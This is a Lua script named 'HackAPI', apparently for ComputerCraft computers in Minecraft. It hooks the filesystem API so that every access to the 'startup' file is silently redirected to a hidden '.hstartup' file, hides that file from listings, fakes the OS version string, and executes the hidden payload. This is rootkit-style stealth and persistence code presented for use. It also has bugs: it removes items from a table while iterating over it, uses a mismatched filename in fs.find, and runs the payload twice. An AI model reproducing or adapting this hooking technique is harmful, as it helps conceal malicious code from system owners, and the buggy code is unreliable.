HackAPI

local oldList = fs.list --Done 10% complete
local oldExists = fs.exists --Done 20% complete
local oldGetName = fs.getName  -- Done 30% complete
local oldGetSize = fs.getSize -- Done 40% complete
local oldMove = fs.move -- Done 50% complete
local oldCopy = fs.copy --Done 60% complete
local oldDelete = fs.delete -- Done 70% complete
local oldCombine = fs.combine --Done 80% complete
local oldOpen = fs.open -- Done 90% complete
local oldFind = fs.find -- Done 100% complete!

term.clear()
term.setCursorPos(1,1)
term.setTextColor(colors.yellow)
term.write("Eru Iluvatar OS\n")
term.setTextColor(colors.white)

fs.list = function(path)
    local lst = oldList(path)
    local nreturn = lst
    for k, v in pairs(lst) do
        if v == "startup" or v == "/startup" then
            if not oldExists("/.hstartup") then
                table.remove(nreturn, k)
            end
        end
        if v == ".hstartup" or v == "/.hstartup" then
            table.remove(nreturn, k)
        end
    end
    return lst
end

fs.exists = function(path)
    if path == "startup" or path == "/startup" then
        return oldExists("/.hstartup")
    else
        return oldExists(path)
    end
end

fs.getSize = function(path)
    if path == "startup" or path == "/startup" then
        return oldGetSize("/.hstartup")
    else
        return oldGetSize(path)
    end
end

fs.move = function(fpath,tpath)
    if fpath == "startup" then
        fpath = "/.hstartup"
    end
    if tpath == "startup" then
        tpath = "/.hstartup"
    end
    return oldMove(fpath, tpath)
end

fs.copy = function(fpath,tpath)
    if fpath == "startup" then
        fpath = "/.hstartup"
    end
    if tpath == "startup" then
        tpath = "/.hstartup"
    end
    return oldCopy(fpath, tpath)
end

fs.delete = function(path)
    if path == "startup" or path == "/startup" then
        return oldDelete(".hstartup")
    else
        return oldDelete(path)
    end
end

fs.open = function(path,mode)
    if path == "startup" or path == "/startup" then
        return oldOpen(".hstartup",mode)
    else
        return oldOpen(path,mode)
    end
end

fs.find = function(wc)
    if wc == "startup" or wc == "/startup" then
        return oldFind(".hackstartup")
    else
        return oldFind(wc)
    end
end

os.version = function()
    return "Eru Iluvatar OS"
end

if oldExists(".hstartup") then
    shell.run(".hstartup")
    local f = oldOpen(".hstartup","r")
    local fc = f.readAll()
    st = loadstring(fc)
    setfenv(st,getfenv())
    st()
end